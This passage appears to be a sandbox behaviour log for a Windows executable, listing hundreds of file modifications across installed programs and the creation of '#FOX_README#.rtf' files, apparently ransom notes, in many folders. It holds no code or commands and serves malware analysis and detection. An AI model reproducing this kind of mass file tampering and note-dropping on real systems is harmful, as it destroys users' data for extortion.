f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\org.eclipse.equinox.p2.artifact.repository.prefs f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyoptionaltools.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\cmm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\locale\updater_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\javax.servlet.jsp_2.2.0.v201112011158.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.server_8.1.14.v20131031.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi.services_3.4.0.v20140312-2051.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_es.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\management\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\flavormap.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\ReceiveStop.mhtml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20131217-1203.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jjs.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaSansDemiBold.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiling_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-templates.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface_3.10.1.v20140813-1009.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\java-rmi.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\localedata.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\net.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.ui_4.0.100.v20140401-0608.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.commons.logging_1.1.1.v201101211721.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.lucene.core_3.5.0.v20120725-1805.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\reader\filename.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\dropins\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\SuspendUse.svg f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\keytool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\notification_helper.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\eclipse.inf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-charts.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\[email protected] f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-awt.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\default.vlt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.base.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkTSFrame.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-execution.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-execution.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-uihandler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-spi-actions.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-options-api.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\bookicon.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-swing-tabcontrol_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\eclipse.inf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.text_3.9.1.v20140827-1810.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_fr.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-lib-profiler.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\cursors.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\cldrdata.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\rmid.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-core-kit.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\README.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\MEIPreload\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-execution_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\Welcome.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\release f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-queries.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\toc.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-execution.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-impl.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_zh_TW.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Microsoft Office 15\ClientX64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\browser\VisualElements\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\NOTICE f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-lib-uihandler_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jmx.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.jdp_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\klist.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\SmallLogo.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.batik.util_1.7.0.v201011041433.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvm_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\content-types.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jconsole.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\native2ascii.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations_2.4.0.v20131119-0908.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-templates.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\application.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\THIRDPARTYLICENSEREADME.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host-remote.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\locale\jfluid-server_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaSansRegular.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\release f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\da.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\browser\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7TSFrame.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.components.ui.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\cpyr.htm f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-options-api.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application-views_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\DismountUnregister.vbe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program 